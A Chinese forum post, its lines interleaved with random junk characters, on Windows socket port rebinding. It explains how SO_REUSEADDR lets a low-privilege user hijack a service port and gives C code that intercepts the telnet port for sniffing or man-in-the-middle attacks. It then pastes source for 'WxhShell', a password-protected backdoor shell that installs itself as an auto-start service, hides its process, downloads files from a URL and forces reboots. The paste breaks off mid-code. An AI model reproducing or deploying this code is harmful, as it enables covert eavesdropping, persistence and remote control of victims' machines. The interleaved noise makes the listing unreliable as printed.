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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uX!6: v]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qi~-<qW  
)2wf D  
  saddr.sin_family = AF_INET; y|+5R5}K  
pRh9+1EM;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @i> r(X  
L_9uwua.B~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T^MY w  
gnzg(Y]5w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ugXDnM[S%  
,[ppETz  
  这意味着什么?意味着可以进行如下的攻击: LEjq<t1&  
!0? B=yA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l'Za"TL:  
&n8Ja@Y]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  wT19m  
*w. ":\P]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @1xVWSF  
\tvL<U"'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b{-"GqMO  
BI%~0 Gj8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _:NQF7X#ug  
aaf}AIL.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &QD)1b[U  
t}I@Rmso  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ha;fxM]  
Vb#a ,t  
  #include R=a4zVQ  
  #include %E#Ubm!  
  #include ?(R#  
  #include    _kRc"MaB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3O4lG e#u  
  int main() wmVb0~[  
  { B*}]'  
  WORD wVersionRequested; U5-8It2OR  
  DWORD ret; {Mb<on W  
  WSADATA wsaData; [G|(E  
  BOOL val; kmTYRl )j  
  SOCKADDR_IN saddr; W;R6+@I[  
  SOCKADDR_IN scaddr; ><IWF#kUA  
  int err; Opf)TAl{  
  SOCKET s; ipMSMk7gx  
  SOCKET sc; M0C)SU5"  
  int caddsize; FsO-xG"@"  
  HANDLE mt; re%XaL  
  DWORD tid;   s&o9LdL  
  wVersionRequested = MAKEWORD( 2, 2 ); W //+[  
  err = WSAStartup( wVersionRequested, &wsaData ); x.t&NP^V)  
  if ( err != 0 ) { =$bF[3D  
  printf("error!WSAStartup failed!\n"); >Ho=L)u  
  return -1; i Pr(X  
  } E <j=5|0t  
  saddr.sin_family = AF_INET; ZRc^}5}WA  
   3 SbZD   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,)d`_AD+5  
kR^">s/H#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !D{z. KO  
  saddr.sin_port = htons(23); eJ<P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SfPQ;s'  
  { <4;, y*"n  
  printf("error!socket failed!\n"); 1TA!9cz0Z  
  return -1; &@{`{  
  } JBw2#ry  
  val = TRUE; ZGX"Vn|YL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +?3RC$jyw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _(gkYJ+MK  
  { c 8  
  printf("error!setsockopt failed!\n"); dn])6Xl;i  
  return -1; euT=]j  
  } Cb<7?),vK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3l`"(5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2<n 18-|OQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a9^})By&  
BH^*K/ ^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 't8!.k  
  { ^fd*KM  
  ret=GetLastError(); .i_ gE5  
  printf("error!bind failed!\n"); KgD$P(J:[  
  return -1; DH _~,tK9  
  } B/lIn' =  
  listen(s,2); t'W6Fmwkx  
  while(1) pcOi%D,o  
  { .^F&6'h1H  
  caddsize = sizeof(scaddr); 5lzbg   
  //接受连接请求 }lPWA/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7g{JE^u  
  if(sc!=INVALID_SOCKET) N@k' s   
  { +N,Fq/x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); twldwuN  
  if(mt==NULL)  FO!0TyQ  
  { tQ'R(H`  
  printf("Thread Creat Failed!\n"); 8aRmHy"9l  
  break; {*CG&-k2D  
  } ~v/` `s  
  } q |Pebe=  
  CloseHandle(mt); uW[AnQ1w  
  } fWfhs}_  
  closesocket(s); r SoT]6/   
  WSACleanup(); ~/SLGyu  
  return 0; G5 )"%G.  
  }   t*BCpC }  
  DWORD WINAPI ClientThread(LPVOID lpParam) F [-D +Nka  
  { ZZ!6O/M  
  SOCKET ss = (SOCKET)lpParam; q(s0dkrj  
  SOCKET sc; ?_S);  
  unsigned char buf[4096]; mpDxJk!   
  SOCKADDR_IN saddr; yl' IL#n]r  
  long num; r_'];  
  DWORD val; '{JMWNY  
  DWORD ret; }L{GwiDMDl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V~o'L#a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w[QC  
  saddr.sin_family = AF_INET;  UiK)m:NU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `N}'5{I  
  saddr.sin_port = htons(23); MbTmdRf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]4*E:  
  { K;\fJ2ag  
  printf("error!socket failed!\n"); #f=41d%  
  return -1; Y3)*MqZlF  
  } a)+*Gf7?  
  val = 100; -=1>t3~\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _a?x)3\v  
  { 6@(o8i   
  ret = GetLastError(); Je'%EJ  
  return -1; [Q8vS;.  
  } dt<P6pK-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \4OU+$m  
  { Y|-&=  
  ret = GetLastError(); e<u~v0rDl  
  return -1; vsq |m 5  
  } gd]k3XN$f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \)g}   
  { hx~rq `{  
  printf("error!socket connect failed!\n"); 56Lt "Z F  
  closesocket(sc); N_0B[!B]  
  closesocket(ss); >dDcm  
  return -1; O`>u70  
  } v+d`J55  
  while(1) U'}[:h~)  
  { @_#]7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^NxKA'oWQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B|AIl+y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u$"Ew^C  
  num = recv(ss,buf,4096,0); P$/Y9o  
  if(num>0) im mf\  
  send(sc,buf,num,0); sg<c1  
  else if(num==0) Hv =7+O$  
  break; EhOB+Mc1  
  num = recv(sc,buf,4096,0); Oj7).U0;#  
  if(num>0) -}>H3hr  
  send(ss,buf,num,0); -ozcK  
  else if(num==0) Qer}eg`R  
  break; 2<_|1%C  
  } +DSZ(Zb4qY  
  closesocket(ss); 1=jwJv.^/  
  closesocket(sc); )},/=#C0  
  return 0 ; 7C@m(oK  
  } MnW"ksH  
2$joM`j$  
%cq8%RT  
========================================================== Q3LScpp  
A^7}:[s20  
下边附上一个代码,,WXhSHELL TzV~I\a|  
)5s-"o<  
========================================================== U]iZ3^8VT  
]ex2c{ G  
#include "stdafx.h" "A}2iI  
]~'pYOB  
#include <stdio.h> 9 E  
#include <string.h> ZX40-6#O  
#include <windows.h> {MmK:C  
#include <winsock2.h> P)06<n1">Z  
#include <winsvc.h> dYp} R>+  
#include <urlmon.h> .!g  
,k6V?{ZA  
#pragma comment (lib, "Ws2_32.lib") @9h6D<?  
#pragma comment (lib, "urlmon.lib") ;#dzw!+Y  
_I #a `G  
#define MAX_USER   100 // 最大客户端连接数 @Yzb6@g"  
#define BUF_SOCK   200 // sock buffer od]1:8OF  
#define KEY_BUFF   255 // 输入 buffer h_xzqElZu  
:>, m$XO  
#define REBOOT     0   // 重启 qoJ<e`h}  
#define SHUTDOWN   1   // 关机 j:J7  
0/b3]{skK  
#define DEF_PORT   5000 // 监听端口 Qr*7bE(a  
x@,B))WlGr  
#define REG_LEN     16   // 注册表键长度 W0 N*c*k  
#define SVC_LEN     80   // NT服务名长度 JO|xX<#:  
-ob1_0  
// 从dll定义API [7=?I.\Cr7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4mwAo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 690;\O '  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =_9grF-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;cW9NS3:  
>I *uo.OF  
// wxhshell配置信息 0D^c4[Y'l  
struct WSCFG { C_V5.6T!  
  int ws_port;         // 监听端口 5?C) v}w+  
  char ws_passstr[REG_LEN]; // 口令 Qon>[<]B  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q`[J3-Q*{  
  char ws_regname[REG_LEN]; // 注册表键名 OA8iTn  
  char ws_svcname[REG_LEN]; // 服务名 fk?(mxx"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5s=L5]]r_j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R\n*O@E v3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h<IPV'1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?M@ff0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }#QYZ nR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jmh$6 N% F  
* odwg$  
}; j\@osjUu  
!ZTBiC5R  
// default Wxhshell configuration 2W vf[2Xw  
struct WSCFG wscfg={DEF_PORT, RI-)Qx&!f  
    "xuhuanlingzhe", xC.Tipn>  
    1, tk,Vp3p  
    "Wxhshell", E|hW{oX3  
    "Wxhshell", /&g~*AL  
            "WxhShell Service", 5Ak6q(\  
    "Wrsky Windows CmdShell Service", Q a8;MxK`  
    "Please Input Your Password: ", p;YS`*!s  
  1, $VyH2+ jC  
  "http://www.wrsky.com/wxhshell.exe", zkmfu~_)  
  "Wxhshell.exe" t{Xf3.  
    }; )NL_))\  
dSw%Qv*y  
// 消息定义模块  ~xV|<;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S|v")6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ? _Y2'O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a  C<  
char *msg_ws_ext="\n\rExit."; [_wenlkm  
char *msg_ws_end="\n\rQuit."; w@"l0gm+u[  
char *msg_ws_boot="\n\rReboot..."; a>XlkkX  
char *msg_ws_poff="\n\rShutdown..."; :~{x'`czJ  
char *msg_ws_down="\n\rSave to "; /5 6sPl 7}  
EwH_k  
char *msg_ws_err="\n\rErr!"; mj9r#v3.  
char *msg_ws_ok="\n\rOK!"; 2P4$^G[  
> lIQM3  
char ExeFile[MAX_PATH]; {m2lVzK  
int nUser = 0; NM:\T1  
HANDLE handles[MAX_USER]; &['cZ/bM  
int OsIsNt; t (>}  
+U];  
SERVICE_STATUS       serviceStatus;  (:ObxJ*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Eggdj+  
( 17=|s  
// 函数声明 P]b * hC  
int Install(void); ZAcH`r*  
int Uninstall(void); 9XSZD93L  
int DownloadFile(char *sURL, SOCKET wsh); p!]$!qHO (  
int Boot(int flag); _yJAn\  
void HideProc(void); v?en-,{A  
int GetOsVer(void); Zn]njf1x  
int Wxhshell(SOCKET wsl); GN%|'eU  
void TalkWithClient(void *cs); +{F2hEYP  
int CmdShell(SOCKET sock); }E%#g#  
int StartFromService(void); Yf=Puy}q  
int StartWxhshell(LPSTR lpCmdLine); Y4.t:Uzr  
x."/+/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4Cl41a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S_ Pa .  
?6=u[))M&  
// 数据结构和表定义 X|iWnz+^  
SERVICE_TABLE_ENTRY DispatchTable[] = 5o&noRIIr  
{ sa26u`?  
{wscfg.ws_svcname, NTServiceMain}, >PBP:s1f4>  
{NULL, NULL} sWc_,[b  
}; eAPNF?0yh  
bb ]r  
// 自我安装 ~7}aW#  
int Install(void) |)pRkn8x  
{ RZg8y+jM  
  char svExeFile[MAX_PATH]; ,fa'  
  HKEY key; 2iJ)K rw  
  strcpy(svExeFile,ExeFile); 5RysN=czA  
c4'k-\JvT  
// 如果是win9x系统,修改注册表设为自启动 X>W2aDuEZ  
if(!OsIsNt) { 6|-V{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { " A}S92  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n8dJ6"L<"  
  RegCloseKey(key); i 6@c@n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { #,eD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P wY~L3,  
  RegCloseKey(key); X*^^W_LH.  
  return 0; X' ,0vK  
    } nbECEQ:|B  
  } LW$(;-rY  
} :~Z -K\  
else { $xK2M  
_,?<r&>v6  
// 如果是NT以上系统,安装为系统服务 7l~d_<h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qZS]eQW.  
if (schSCManager!=0) DNGXp5I  
{ Q^H8gsv  
  SC_HANDLE schService = CreateService ;;zQVD )X  
  ( !)1gGXRY  
  schSCManager, $:i%\7=  
  wscfg.ws_svcname, fQkfU;5  
  wscfg.ws_svcdisp, o;zU;pkB  
  SERVICE_ALL_ACCESS, \Xr Sn_p-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fK %${   
  SERVICE_AUTO_START, IOjp'6Yr  
  SERVICE_ERROR_NORMAL, BIk0n;Kz<L  
  svExeFile, X^td`}F/=V  
  NULL, j^V r!y  
  NULL, YcaomPo  
  NULL, (T9Q6 \sa  
  NULL, 5vmc'Om  
  NULL _-M27^\vV  
  ); \|gE=5!Am=  
  if (schService!=0) Ki,SFww8r  
  { v/m} {&K  
  CloseServiceHandle(schService); NR6wNz&81  
  CloseServiceHandle(schSCManager); w!j'k|b>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d5z=fH9  
  strcat(svExeFile,wscfg.ws_svcname); 9Ev<t \B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V4 `  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "K9/^S_  
  RegCloseKey(key); %tvP\(]h  
  return 0; !2o1c  
    } @CTSvTt$  
  } )-s9CWJv  
  CloseServiceHandle(schSCManager); .DX-biX,  
} IrMUw$  
} ..K@'*u  
F4*ssx  
return 1; 9zL(PkC%\  
} vmj'X>Q  
L7`=ec<  
// 自我卸载 1 O?bT,"b  
int Uninstall(void) j%`% DQ  
{ {M^BY,%*  
  HKEY key; F%tV^$%  
(B^rW,V[R  
if(!OsIsNt) { 7@1GSO:Yf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nf0]<x2  
  RegDeleteValue(key,wscfg.ws_regname); RD|DHio%  
  RegCloseKey(key); Nrn_Gy>|D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L+X:M/)  
  RegDeleteValue(key,wscfg.ws_regname); 5<>"d :9  
  RegCloseKey(key); z}a9%Fb  
  return 0; xjy(f~'  
  } YW2h#PV6_  
} :OFs" bC  
} idNra#  
else { *6bO2LO"  
3OB=D{$V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /&  W&  
if (schSCManager!=0) SaIY-PC  
{ `tPVNO,l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AnK~<9WQj  
  if (schService!=0) lv>^P>S(O  
  { we/sv9v}n  
  if(DeleteService(schService)!=0) { eBWgAf.k  
  CloseServiceHandle(schService); ~Z~V:~  
  CloseServiceHandle(schSCManager); B#G:aBCM  
  return 0; E 1`TQA  
  } ij,Rq`}l  
  CloseServiceHandle(schService); "WzKJwFr  
  } +# 3e<+!F  
  CloseServiceHandle(schSCManager); $Jo4n>/  
} a*&(cn  
} I.[Lv7U-  
L|L;<  
return 1; *M ^ <oG  
} v!W{j&N  
`&9iC 4P  
// 从指定url下载文件 E/zclD5S  
int DownloadFile(char *sURL, SOCKET wsh) T#<Q[h=  
{ 61w ({F  
  HRESULT hr; -wT!g;v;%  
char seps[]= "/"; 2?{'(i ay  
char *token; %Gl1Qi+Po_  
char *file; u].7+{  
char myURL[MAX_PATH]; >6R3KJe  
char myFILE[MAX_PATH]; x"n++j  
\zc R7 5  
strcpy(myURL,sURL); TuEM  
  token=strtok(myURL,seps); I^nDO\m <  
  while(token!=NULL) S=gb y  
  { .1}1e;f-  
    file=token; d'"|Qg_'  
  token=strtok(NULL,seps); (:I]v_qEYS  
  } \wD L oR  
inFS99DKx  
GetCurrentDirectory(MAX_PATH,myFILE); PXyv);#Q`  
strcat(myFILE, "\\"); 9Z21|5  
strcat(myFILE, file); _RIlGs\.  
  send(wsh,myFILE,strlen(myFILE),0); ap8q`a{j^  
send(wsh,"...",3,0); O}w%$ mq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wTD}c1J(  
  if(hr==S_OK)  Q6RTH  
return 0; 9;'#,b*(  
else e=l:!E10  
return 1; 4i PVpro  
tXqX[Td`0g  
} tS>^x  
|lcp (u*u  
// 系统电源模块 uIbAlE  
int Boot(int flag) WQ}wQ:]  
{ O5aXa_A_u  
  HANDLE hToken; WrSc@j&Ycv  
  TOKEN_PRIVILEGES tkp; co~NXpqg  
lm 96:S  
  if(OsIsNt) { Q`W2\Kod]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); araXE~Ac  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bU}v@Uk  
    tkp.PrivilegeCount = 1; */l;e<E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0ki- /{;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8>t,n,k  
if(flag==REBOOT) { @ ?M\[qeF@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;Y[D#Ja-  
  return 0; p<{P#?4 g  
} ol*,&C:{  
else { W;yc)JB   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *!ng)3#  
  return 0; jLVG=rOn  
} |$b8(g$s)  
  } .wD $Bsm`t  
  else { .whi0~i  
if(flag==REBOOT) { IJ&Lk=2E]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5E-;4o;RI(  
  return 0; =T,Q7Dh  
} "qNFDr(WM  
else { Xg96I: r'p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OemY'M? ZQ  
  return 0; %+=;4tHJ  
} 60vmjmXl  
} [9${4=Kq  
Lo%vG{yTr  
return 1;  C3{hf  
} aL4^ po  
&J&'J~N  
// win9x进程隐藏模块 )b #5rQ  
void HideProc(void) dazNwn  
{ r=5 S0  
8&G9 ?n`I5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *,4rYb7I w  
  if ( hKernel != NULL ) 'RV96lX<  
  { AQUAQZc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `P;r[j"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x*7A33@i  
    FreeLibrary(hKernel); xqzeBLU  
  } =|]h-[P'  
Dj(PH3^  
return; ~^1y(-cw  
} ; R}>SS'  
`s}L3bR]  
// 获取操作系统版本 5G}4z>-]F)  
int GetOsVer(void) ZLT?G  
{ D<6$@ZJ  
  OSVERSIONINFO winfo; lH4Nbluc^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b!]O]dk#  
  GetVersionEx(&winfo); oZiW4z*Wh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;_I>`h"r  
  return 1; -xHR6  
  else wuH*a3(  
  return 0; Vc(4d-d5  
} * @4@eQF  
; BN81;  
// 客户端句柄模块 >K9Ia4I,  
int Wxhshell(SOCKET wsl) r >'tE7W9  
{ z< L2W",  
  SOCKET wsh; YRlfU5  
  struct sockaddr_in client; LL#REK|lm8  
  DWORD myID;  `Eh>E,  
qS vV |G  
  while(nUser<MAX_USER) ']1n?K=A  
{ bFG~08Z ,d  
  int nSize=sizeof(client); /*qRbN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i<"lXu  
  if(wsh==INVALID_SOCKET) return 1; .G[/4h :.  
a<<4gXx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eM<N?9s  
if(handles[nUser]==0) i//H5D3  
  closesocket(wsh); dipfsH]p  
else MT-Tt  
  nUser++; Me .I>7c  
  } Z\nDR|3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *]]Zpa6  
|(.\J`_e  
  return 0; qdix@ @  
} 0SI@`C*1o  
Uj(0M;#%o+  
// 关闭 socket Iq + N0G<j  
void CloseIt(SOCKET wsh) Ol>q(-ea  
{ 1CB&z@  
closesocket(wsh); /pj[c;aO  
nUser--;  gHe:o`  
ExitThread(0); R(wUu#n$  
} nQiZ6[L  
j9+4},>>CU  
// 客户端请求句柄 UGO#o`.G}  
void TalkWithClient(void *cs) [J,.?'V  
{ d6J/)nl  
tJ^p}yxO  
  SOCKET wsh=(SOCKET)cs; )pHtsd.eP  
  char pwd[SVC_LEN]; : "85w#r  
  char cmd[KEY_BUFF]; 8%9 C<+.R  
char chr[1]; 17s~mqy  
int i,j; (GC]=  
a:cci?cb  
  while (nUser < MAX_USER) { u}5CzV`  
/7UvV60  
if(wscfg.ws_passstr) { c]^P$F8U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dbby.%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Wlt[T(.;  
  //ZeroMemory(pwd,KEY_BUFF); }Fjbj5w0  
      i=0; h1_Z&VJ  
  while(i<SVC_LEN) {  cyl%p$  
;C@mT;hR  
  // 设置超时 uBlPwb,V  
  fd_set FdRead; ? "I %K%  
  struct timeval TimeOut; &e^;;<*w  
  FD_ZERO(&FdRead); m]n2wmE3n  
  FD_SET(wsh,&FdRead); DB|1Sqjsn  
  TimeOut.tv_sec=8; 4}H+hk8-  
  TimeOut.tv_usec=0; ng%[yY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t%}<S~"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wK(]E%\  
cB uuq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q A .9X4NQ  
  pwd=chr[0]; AT&K>NG  
  if(chr[0]==0xd || chr[0]==0xa) { OFtaOjsyUa  
  pwd=0; Pxr/*X  
  break; Y9^l|,bm5  
  } $?56 i4  
  i++; gv`_+E{P  
    } *V2;ds.~  
Q a (Sb  
  // 如果是非法用户,关闭 socket (=!At)O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $S#Z>d*1!  
} ~[Tcl  
z x-[@G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lUu0AZQmG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jSp&\Wjb  
bWo  
while(1) { L3%frIUd  
;oOTL'Vu  
  ZeroMemory(cmd,KEY_BUFF); <odi>!ViH  
:H&Q!\a  
      // 自动支持客户端 telnet标准   !)]/?&uo  
  j=0; LACrg  
  while(j<KEY_BUFF) { #|sE]\bsH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )J 'F]s  
  cmd[j]=chr[0]; }+!"mJx@  
  if(chr[0]==0xa || chr[0]==0xd) { eke[{%L  
  cmd[j]=0; C'I&<  
  break; 1X)#iY  
  } S(PV*e8  
  j++; .:?v;rYk{  
    } *ak0(yLn)  
|qX ?F`  
  // 下载文件 {?yVA  
  if(strstr(cmd,"http://")) { dUv@u !}B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J&aN6l?  
  if(DownloadFile(cmd,wsh)) 4np2I~ !  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D/E5&6  
  else UCVYO. 9"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nuq@m0t\#  
  } ={B C0,  
  else { )|=1;L  
E3'I;  
    switch(cmd[0]) { WXxnOLJr  
  KiXfR\S~C  
  // 帮助 fn<dr(Dx  
  case '?': { VrW]|jIu*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 51ViJdZ  
    break; &0T.o,&y  
  } [k 7HLn)  
  // 安装 [x)T2sA  
  case 'i': { (3N/DY1/  
    if(Install()) {gzQ/|}#z-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7u"Q1n(h/  
    else a~yiLq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 SQ!^1R 9  
    break; % i?  
    } HW[&q  
  // 卸载 +^9^)Ur|  
  case 'r': { )L&y@dy)  
    if(Uninstall()) vEx'~_+a9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BZ\="N#f  
    else ~;oXLCL0})  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P'h39XoZ  
    break; Cj#wY  
    } ;\th.!'rn  
  // 显示 wxhshell 所在路径 ?u2\ *@C  
  case 'p': { B\ 'rxbH  
    char svExeFile[MAX_PATH]; ddL3wQ  
    strcpy(svExeFile,"\n\r"); iU+SXsXLR4  
      strcat(svExeFile,ExeFile); k:n{AoUc  
        send(wsh,svExeFile,strlen(svExeFile),0); i@:^b_  
    break; 7s%D(;W_Mo  
    } 0-PT%R  
  // 重启 #c:@oe4v  
  case 'b': { \r aP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $/^Y(0  
    if(Boot(REBOOT)) 1o5kP,)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {#+K+!SvDX  
    else { kQU4s)J  
    closesocket(wsh); =X(N+(1~  
    ExitThread(0); # N3*SE  
    } T} \>8EEG  
    break; t[k ['<G  
    } e3n^$'/\r  
  // 关机 c2V_|oL  
  case 'd': { V@+sNM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W+u@UJi  
    if(Boot(SHUTDOWN)) idBd aZg  
